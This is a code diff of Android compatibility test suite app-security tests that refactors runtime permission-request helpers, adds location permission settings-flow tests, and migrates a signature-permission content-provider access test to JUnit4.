 
         // Request the permission and allow it
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS, BasePermissionActivity.class, () -> {
+        BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
             try {
                 clickAllowButton();
                 getUiDevice().waitForIdle();
@@ -469,8 +389,7 @@
         });
 
         // Expect the permission are reported as granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {true, true});
+        assertPermissionRequestResult(result, permissions, new boolean[] {true, true});
 
         // The permissions are granted
         assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
@@ -534,20 +453,19 @@
                 .checkSelfPermission(Manifest.permission.READ_CALENDAR));
 
         // Request the permission and allow it
-        BasePermissionActivity.Result thirdResult = requestPermissions(new String[] {
-                        Manifest.permission.READ_CALENDAR}, REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class, () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result thirdResult = requestPermissions(new String[]{
+                Manifest.permission.READ_CALENDAR}, () -> {
+            try {
+                clickAllowButton();
+                getUiDevice().waitForIdle();
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
 
         // Make sure the permission is granted
-        assertPermissionRequestResult(thirdResult, REQUEST_CODE_PERMISSIONS,
-                new String[] {Manifest.permission.READ_CALENDAR}, new boolean[] {true});
+        assertPermissionRequestResult(thirdResult, new String[] {Manifest.permission.READ_CALENDAR},
+                new boolean[] {true});
     }
 
     @Test
@@ -571,12 +489,9 @@
 
         // Go through normal grant flow
         BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
                 () -> { /* empty */ });
 
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(result, permissions, new boolean[] {false});
     }
 
     @Test
@@ -595,21 +510,19 @@
         };
 
         // Request the permission and allow it
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS, BasePermissionActivity.class, () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+            try {
+                clickAllowButton();
+                getUiDevice().waitForIdle();
+                clickAllowButton();
+                getUiDevice().waitForIdle();
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
 
         // Expect the permission are reported as granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {false, true, false, true});
+        assertPermissionRequestResult(result, permissions, new boolean[] {false, true, false, true});
 
         // The permissions are granted
         assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
@@ -626,13 +539,10 @@
 
         // Request the permission and allow it
         BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
                 () -> { /* empty */ });
 
         // Expect the permissions is not granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(result, permissions, new boolean[] {false});
     }
 
     private void assertAllPermissionsRevoked() {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
index e64838b..3f3e371a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
@@ -16,7 +16,7 @@
 
 package com.android.cts.usepermission;
 
-import static junit.framework.Assert.assertEquals;
+import static com.android.compatibility.common.util.UiAutomatorUtils.getUiDevice;
 
 import android.Manifest;
 import android.content.pm.PackageManager;
@@ -32,33 +32,26 @@
     @Test
     public void testRuntimeGroupGrantNoExpansion() throws Exception {
         // Start out without permission
-        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
-                .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
-        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
-                .checkSelfPermission(Manifest.permission.SEND_SMS));
+        assertPermissionState(Manifest.permission.RECEIVE_SMS, PackageManager.PERMISSION_DENIED);
+        assertPermissionState(Manifest.permission.SEND_SMS, PackageManager.PERMISSION_DENIED);
 
         String[] permissions = new String[]{Manifest.permission.RECEIVE_SMS};
 
         // request only one permission from the 'SMS' permission group at runtime,
         // but two from this group are <uses-permission> in the manifest
         // request only one permission from the 'contacts' permission group
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
-                () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+            try {
+                clickAllowButton();
+                getUiDevice().waitForIdle();
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
 
         // Expect the permission is granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[]{true});
+        assertPermissionRequestResult(result, permissions, new boolean[]{true});
 
-        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getTargetContext()
-                .checkSelfPermission(Manifest.permission.SEND_SMS));
+        assertPermissionState(Manifest.permission.SEND_SMS, PackageManager.PERMISSION_DENIED);
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/src/com/android/cts/usepermission/UsePermissionTest28.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/src/com/android/cts/usepermission/UsePermissionTest28.java
index 1c32d39..507f6fa 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/src/com/android/cts/usepermission/UsePermissionTest28.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/src/com/android/cts/usepermission/UsePermissionTest28.java
@@ -23,9 +23,7 @@
 
 import static junit.framework.Assert.assertEquals;
 
-import android.Manifest;
 import android.content.Context;
-import android.content.pm.PackageManager;
 
 import org.junit.Test;
 
@@ -44,21 +42,18 @@
 
         String[] permissions = {ACCESS_FINE_LOCATION};
 
+
         // request only foreground permission. This should automatically also add the background
         // permission
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
-                () -> {
-                    try {
-                        clickAllowAlwaysButton();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+            try {
+                clickSettingsAllowAlwaysFromGrantDialog();
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
 
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS, permissions,
-                new boolean[]{true});
+        assertPermissionRequestResult(result, permissions, new boolean[]{true});
 
         assertEquals(PERMISSION_GRANTED, context.checkSelfPermission(ACCESS_FINE_LOCATION));
         assertEquals(PERMISSION_GRANTED, context.checkSelfPermission(ACCESS_BACKGROUND_LOCATION));
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/src/com/android/cts/usepermission/UsePermissionTest29.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/src/com/android/cts/usepermission/UsePermissionTest29.java
index e0e21eb..e3230af5 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/src/com/android/cts/usepermission/UsePermissionTest29.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/src/com/android/cts/usepermission/UsePermissionTest29.java
@@ -21,8 +21,14 @@
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
+import static com.android.compatibility.common.util.UiAutomatorUtils.getUiDevice;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+
 import static junit.framework.Assert.assertEquals;
 
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -48,27 +54,24 @@
 
     private BasePermissionActivity.Result requestPermissions(String[] permissions,
             UiInteraction... uiInteractions) throws Exception {
-        return super.requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
-                () -> {
-                    try {
-                        for (UiInteraction uiInteraction : uiInteractions) {
-                            uiInteraction.run();
-                            getUiDevice().waitForIdle();
-                        }
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        return requestPermissions(permissions, () -> {
+            try {
+                for (UiInteraction uiInteraction : uiInteractions) {
+                    uiInteraction.run();
+                    getUiDevice().waitForIdle();
+                }
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
     }
 
-    private static void assertPermissionRequestResult(BasePermissionActivity.Result result,
+    protected static void assertPermissionRequestResult(BasePermissionActivity.Result result,
             String[] permissions, boolean... granted) {
-        BasePermissionsTest.assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, granted);
+        BasePermissionsTest.assertPermissionRequestResult(result, permissions, granted);
     }
 
+    @Test
     @Before
     public void assertPermissionsNotGranted() {
         assertDenied(ACCESS_FINE_LOCATION);
@@ -103,7 +106,7 @@
         String[] permissions = {ACCESS_FINE_LOCATION, ACCESS_BACKGROUND_LOCATION};
 
         BasePermissionActivity.Result result = requestPermissions(permissions,
-                this::clickAllowAlwaysButton);
+                this::clickSettingsAllowAlwaysFromGrantDialog);
         assertPermissionRequestResult(result, permissions, true, true);
 
         assertGranted(ACCESS_FINE_LOCATION);
@@ -125,7 +128,7 @@
         // Step 2: request background only
         permissions = new String[]{ACCESS_BACKGROUND_LOCATION};
 
-        result = requestPermissions(permissions, this::clickAllowButton);
+        result = requestPermissions(permissions, this::clickSettingsAllowAlwaysFromGrantDialog);
         assertPermissionRequestResult(result, permissions, true);
 
         assertGranted(ACCESS_FINE_LOCATION);
@@ -144,7 +147,7 @@
         assertDenied(ACCESS_BACKGROUND_LOCATION);
 
         // Step 2: grant background
-        result = requestPermissions(permissions, this::clickAllowButton);
+        result = requestPermissions(permissions, this::clickSettingsAllowAlwaysFromGrantDialog);
         assertPermissionRequestResult(result, permissions, true, true);
 
         assertGranted(ACCESS_FINE_LOCATION);
@@ -177,4 +180,53 @@
         assertDenied(ACCESS_FINE_LOCATION);
         assertDenied(ACCESS_BACKGROUND_LOCATION);
     }
+
+    @Test
+    public void openSettingsFromGrantNoOp() throws Exception {
+        // Step 1: Request both, go to settings, do nothing
+        String[] permissions = {ACCESS_FINE_LOCATION, ACCESS_BACKGROUND_LOCATION};
+
+        BasePermissionActivity.Result result = requestPermissions(permissions,
+                () -> {
+                    clickSettingsLink();
+                    getUiDevice().waitForIdle();
+                    getUiDevice().pressBack();
+                    try {
+                        waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"));
+                    } catch (UiObjectNotFoundException e) {
+                        throw new AssertionError("Permission grant dialog didn't resume", e);
+                    }
+                    assertPermissionsNotGranted();
+                    clickAllowForegroundButton();
+                });
+        assertPermissionRequestResult(result, permissions, true, false);
+
+        // Step 2: Upgrade foreground to background, go to settings, do nothing
+        requestPermissions(permissions,
+                () -> {
+                    clickSettingsLink();
+                    getUiDevice().waitForIdle();
+                    getUiDevice().pressBack();
+                    getUiDevice().waitForIdle();
+                    try {
+                        waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"));
+                    } catch (UiObjectNotFoundException e) {
+                        throw new AssertionError("Permission grant dialog didn't resume", e);
+                    }
+                    assertDenied(ACCESS_BACKGROUND_LOCATION);
+                    clickNoUpgradeAndDontAskAgainButton();
+                });
+        assertPermissionRequestResult(result, permissions, true, false);
+    }
+
+    @Test
+    public void openSettingsFromGrantDowngrade() throws Exception {
+        // Request upgrade, downgrade permission to denied in settings
+        String[] permissions = {ACCESS_FINE_LOCATION, ACCESS_BACKGROUND_LOCATION};
+
+        requestPermissions(permissions, this::clickAllowForegroundButton);
+
+        requestPermissions(permissions, this::clickSettingsDenyFromGrantDialog);
+        // Expect process to get killed
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
index e587e09..18f6096 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
@@ -35,6 +35,7 @@
         <activity android:name=".ReceiveUriActivity" android:exported="true"
                 android:launchMode="singleTop" />
         <service android:name=".ReceiveUriService" android:exported="true" />
+        <activity android:name=".GetResultActivity" android:exported="true" />
     </application>
 
     <instrumentation android:targetPackage="com.android.cts.usespermissiondiffcertapp"
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
index 30743c9..d999895 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
@@ -16,38 +16,26 @@
 
 package com.android.cts.usespermissiondiffcertapp;
 
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_CLEAR_PRIMARY_CLIP;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_INTENT;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_MODE;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_PACKAGE_NAME;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_URI;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertContentUriAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertContentUriNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingContentUriAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingContentUriNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingContentUriAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingContentUriNotAllowed;
 
-import android.content.ClipData;
-import android.content.ClipboardManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
 import android.content.Intent;
-import android.content.UriPermission;
-import android.database.Cursor;
 import android.net.Uri;
-import android.os.Bundle;
 import android.provider.CalendarContract;
 import android.provider.ContactsContract;
-import android.test.AndroidTestCase;
-import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
-import com.android.cts.permissiondeclareapp.UtilsProvider;
-
-import java.io.IOException;
-import java.util.List;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests that signature-enforced permissions cannot be accessed by apps signed
@@ -55,209 +43,79 @@
  * 
  * Accesses app cts/tests/appsecurity-tests/test-apps/PermissionDeclareApp/...
  */
-public class AccessPermissionWithDiffSigTest extends AndroidTestCase {
-    private static final Uri PERM_URI = Uri.parse("content://ctspermissionwithsignature");
-    private static final Uri PERM_URI_GRANTING = Uri.parse("content://ctspermissionwithsignaturegranting");
-    private static final Uri PERM_URI_PATH = Uri.parse("content://ctspermissionwithsignaturepath");
-    private static final Uri PERM_URI_PATH_RESTRICTING = Uri.parse(
+@RunWith(AndroidJUnit4.class)
+public class AccessPermissionWithDiffSigTest {
+    private static Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+
+    static final Uri PERM_URI = Uri.parse("content://ctspermissionwithsignature");
+    static final Uri PERM_URI_GRANTING = Uri.parse("content://ctspermissionwithsignaturegranting");
+    static final Uri PERM_URI_PATH = Uri.parse("content://ctspermissionwithsignaturepath");
+    static final Uri PERM_URI_PATH_RESTRICTING = Uri.parse(
             "content://ctspermissionwithsignaturepathrestricting");
-    private static final Uri PRIV_URI = Uri.parse("content://ctsprivateprovider");
-    private static final Uri PRIV_URI_GRANTING = Uri.parse("content://ctsprivateprovidergranting");
-    private static final String EXPECTED_MIME_TYPE = "got/theMIME";
+    static final Uri PRIV_URI = Uri.parse("content://ctsprivateprovider");
+    static final Uri PRIV_URI_GRANTING = Uri.parse("content://ctsprivateprovidergranting");
+    static final String EXPECTED_MIME_TYPE = "got/theMIME";
 
-    private static final Uri AMBIGUOUS_URI_COMPAT = Uri.parse("content://ctsambiguousprovidercompat");
-    private static final String EXPECTED_MIME_TYPE_AMBIGUOUS = "got/theUnspecifiedMIME";
-    private static final Uri AMBIGUOUS_URI = Uri.parse("content://ctsambiguousprovider");
+    static final Uri AMBIGUOUS_URI_COMPAT = Uri.parse("content://ctsambiguousprovidercompat");
+    static final String EXPECTED_MIME_TYPE_AMBIGUOUS = "got/theUnspecifiedMIME";
+    static final Uri AMBIGUOUS_URI = Uri.parse("content://ctsambiguousprovider");
 
-    private static final Uri[] GRANTABLE = new Uri[] {
+    static final Uri[] GRANTABLE = new Uri[] {
             Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
-            Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
             Uri.withAppendedPath(PERM_URI_PATH, "foo"),
+            Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
     };
 
-    private static final Uri[] NOT_GRANTABLE = new Uri[] {
-            Uri.withAppendedPath(PERM_URI, "foo"),
-            Uri.withAppendedPath(PRIV_URI, "foo"),
-            Uri.withAppendedPath(PERM_URI_PATH_RESTRICTING, "foo"),
+    static final Uri[] NOT_GRANTABLE = new Uri[] {
+            Uri.withAppendedPath(PERM_URI, "bar"),
+            Uri.withAppendedPath(PERM_URI_GRANTING, "bar"),
+            Uri.withAppendedPath(PERM_URI_PATH, "bar"),
+            Uri.withAppendedPath(PRIV_URI, "bar"),
+            Uri.withAppendedPath(PRIV_URI_GRANTING, "bar"),
+            Uri.withAppendedPath(AMBIGUOUS_URI, "bar"),
             CalendarContract.CONTENT_URI,
             ContactsContract.AUTHORITY_URI,
     };
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    static final int[] GRANTABLE_MODES = new int[] {
+            Intent.FLAG_GRANT_READ_URI_PERMISSION,
+            Intent.FLAG_GRANT_WRITE_URI_PERMISSION,
+    };
 
-        // Always dispose, usually to clean up from failed tests
-        ReceiveUriActivity.finishCurInstanceSync();
-    }
-
-    private void assertReadingContentUriNotAllowed(Uri uri, String msg) {
-        try {
-            getContext().getContentResolver().query(uri, null, null, null, null);
-            fail("expected SecurityException reading " + uri + ": " + msg);
-        } catch (SecurityException expected) {
-            assertNotNull("security exception's error message.", expected.getMessage());
-        }
-    }
-
-    private void assertReadingContentUriAllowed(Uri uri) {
-        try {
-            getContext().getContentResolver().query(uri, null, null, null, null);
-        } catch (SecurityException e) {
-            fail("unexpected SecurityException reading " + uri + ": " + e.getMessage());
-        }
-    }
-
-    private void assertReadingClipNotAllowed(ClipData clip) {
-        assertReadingClipNotAllowed(clip, null);
-    }
-
-    private void assertReadingClipNotAllowed(ClipData clip, String msg) {
-        for (int i=0; i<clip.getItemCount(); i++) {
-            ClipData.Item item = clip.getItemAt(i);
-            Uri uri = item.getUri();
-            if (uri != null) {
-                assertReadingContentUriNotAllowed(uri, msg);
-            } else {
-                Intent intent = item.getIntent();
-                uri = intent.getData();
-                if (uri != null) {
-                    assertReadingContentUriNotAllowed(uri, msg);
-                }
-                ClipData intentClip = intent.getClipData();
-                if (intentClip != null) {
-                    assertReadingClipNotAllowed(intentClip, msg);
-                }
-            }
-        }
-    }
-
-    private void assertOpenFileDescriptorModeNotAllowed(Uri uri, String msg, String mode) {
-        try {
-            getContext().getContentResolver().openFileDescriptor(uri, mode).close();
-            fail("expected SecurityException writing " + uri + ": " + msg);
-        } catch (IOException e) {
-            throw new IllegalStateException(e);
-        } catch (SecurityException expected) {
-            assertNotNull("security exception's error message.", expected.getMessage());
-        }
-    }
-
-    private void assertContentUriAllowed(Uri uri) {
-        assertReadingContentUriAllowed(uri);
-        assertWritingContentUriAllowed(uri);
-    }
-
-    private void assertContentUriNotAllowed(Uri uri, String msg) {
-        assertReadingContentUriNotAllowed(uri, msg);
-        assertWritingContentUriNotAllowed(uri, msg);
-    }
-
-    private void assertWritingContentUriNotAllowed(Uri uri, String msg) {
-        final ContentResolver resolver = getContext().getContentResolver();
-        try {
-            resolver.insert(uri, new ContentValues());
-            fail("expected SecurityException inserting " + uri + ": " + msg);
-        } catch (SecurityException expected) {
-            assertNotNull("security exception's error message.", expected.getMessage());
-        }
-
-        try {
-            resolver.update(uri, new ContentValues(), null, null);
-            fail("expected SecurityException updating " + uri + ": " + msg);
-        } catch (SecurityException expected) {
-            assertNotNull("security exception's error message.", expected.getMessage());
-        }
-
-        try {
-            resolver.delete(uri, null, null);
-            fail("expected SecurityException deleting " + uri + ": " + msg);
-        } catch (SecurityException expected) {
-            assertNotNull("security exception's error message.", expected.getMessage());
-        }
-
-        try {
-            getContext().getContentResolver().openOutputStream(uri).close();
-            fail("expected SecurityException writing " + uri + ": " + msg);
-        } catch (IOException e) {
-            throw new IllegalStateException(e);
-        } catch (SecurityException expected) {
-            assertNotNull("security exception's error message.", expected.getMessage());
-        }
-
-        assertOpenFileDescriptorModeNotAllowed(uri, msg, "w");
-        assertOpenFileDescriptorModeNotAllowed(uri, msg, "wt");
-        assertOpenFileDescriptorModeNotAllowed(uri, msg, "wa");
-        assertOpenFileDescriptorModeNotAllowed(uri, msg, "rw");
-        assertOpenFileDescriptorModeNotAllowed(uri, msg, "rwt");
-    }
-
-    private void assertWritingContentUriAllowed(Uri uri) {
-        final ContentResolver resolver = getContext().getContentResolver();
-        try {
-            resolver.insert(uri, new ContentValues());
-            resolver.update(uri, new ContentValues(), null, null);
-            resolver.delete(uri, null, null);
-
-            resolver.openOutputStream(uri).close();
-            resolver.openFileDescriptor(uri, "w").close();
-            resolver.openFileDescriptor(uri, "wt").close();
-            resolver.openFileDescriptor(uri, "wa").close();
-            resolver.openFileDescriptor(uri, "rw").close();
-            resolver.openFileDescriptor(uri, "rwt").close();
-        } catch (IOException e) {
-            fail("unexpected IOException writing " + uri + ": " + e.getMessage());
-        } catch (SecurityException e) {
-            fail("unexpected SecurityException writing " + uri + ": " + e.getMessage());
-        }
-    }
-
-    private void assertWritingClipNotAllowed(ClipData clip) {
-        assertWritingClipNotAllowed(clip, null);
-    }
-
-    private void assertWritingClipNotAllowed(ClipData clip, String msg) {
-        for (int i=0; i<clip.getItemCount(); i++) {
-            ClipData.Item item = clip.getItemAt(i);
-            Uri uri = item.getUri();
-            if (uri != null) {
-                assertWritingContentUriNotAllowed(uri, msg);
-            } else {
-                Intent intent = item.getIntent();
-                uri = intent.getData();
-                if (uri != null) {
-                    assertWritingContentUriNotAllowed(uri, msg);
-                }
-                ClipData intentClip = intent.getClipData();
-                if (intentClip != null) {
-                    assertWritingClipNotAllowed(intentClip, msg);
-                }
-            }
-        }
-    }
+    static final int[] NOT_GRANTABLE_MODES = new int[] {
+            Intent.FLAG_GRANT_READ_URI_PERMISSION,
+            Intent.FLAG_GRANT_WRITE_URI_PERMISSION,
+            Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION,
+            Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION,
+            Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION,
+            Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION,
+    };
 
     /**
      * Test that the ctspermissionwithsignature content provider cannot be read,
      * since this app lacks the required certs
      */
+    @Test
     public void testReadProviderWithDiff() {
-        assertReadingContentUriRequiresPermission(PERM_URI,
-                "com.android.cts.permissionWithSignature");
+        assertReadingContentUriNotAllowed(PERM_URI, null);
     }
 
     /**
      * Test that the ctspermissionwithsignature content provider cannot be written,
      * since this app lacks the required certs
      */
+    @Test
     public void testWriteProviderWithDiff() {
-        assertWritingContentUriRequiresPermission(PERM_URI,
-                "com.android.cts.permissionWithSignature");
+        assertWritingContentUriNotAllowed(PERM_URI, null);
     }
 
     /**
      * Test that the ctsprivateprovider content provider cannot be read,
      * since it is not exported from its app.
      */
+    @Test
     public void testReadProviderWhenPrivate() {
         assertReadingContentUriNotAllowed(PRIV_URI, "shouldn't read private provider");
     }
@@ -266,6 +124,7 @@
      * Test that the ctsambiguousprovider content provider cannot be read,
      * since it doesn't have an "exported=" line.
      */
+    @Test
     public void testReadProviderWhenAmbiguous() {
         assertReadingContentUriNotAllowed(AMBIGUOUS_URI, "shouldn't read ambiguous provider");
     }
@@ -276,6 +135,7 @@
      * Test that the ctsambiguousprovidercompat content provider can be read for older
      * API versions, because it didn't specify either exported=true or exported=false.
      */
+    @Test
     public void testReadProviderWhenAmbiguousCompat() {
         assertReadingContentUriAllowed(AMBIGUOUS_URI_COMPAT);
     }
@@ -286,6 +146,7 @@
      * Test that the ctsambiguousprovidercompat content provider can be written for older
      * API versions, because it didn't specify either exported=true or exported=false.
      */
+    @Test
     public void testWriteProviderWhenAmbiguousCompat() {
         assertWritingContentUriAllowed(AMBIGUOUS_URI_COMPAT);
     }
@@ -294,6 +155,7 @@
      * Test that the ctsprivateprovider content provider cannot be written,
      * since it is not exported from its app.
      */
+    @Test
     public void testWriteProviderWhenPrivate() {
         assertWritingContentUriNotAllowed(PRIV_URI, "shouldn't write private provider");
     }
@@ -302,858 +164,16 @@
      * Test that the ctsambiguousprovider content provider cannot be written,
      * since it doesn't have an exported= line.
      */
+    @Test
     public void testWriteProviderWhenAmbiguous() {
         assertWritingContentUriNotAllowed(AMBIGUOUS_URI, "shouldn't write ambiguous provider");
     }
 
-    private static ClipData makeSingleClipData(Uri uri) {
-        return new ClipData("foo", new String[] { "foo/bar" },
-                new ClipData.Item(uri));
-    }
-
-    private static ClipData makeMultiClipData(Uri uri) {
-        Uri grantClip1Uri = Uri.withAppendedPath(uri, "clip1");
-        Uri grantClip2Uri = Uri.withAppendedPath(uri, "clip2");
-        Uri grantClip3Uri = Uri.withAppendedPath(uri, "clip3");
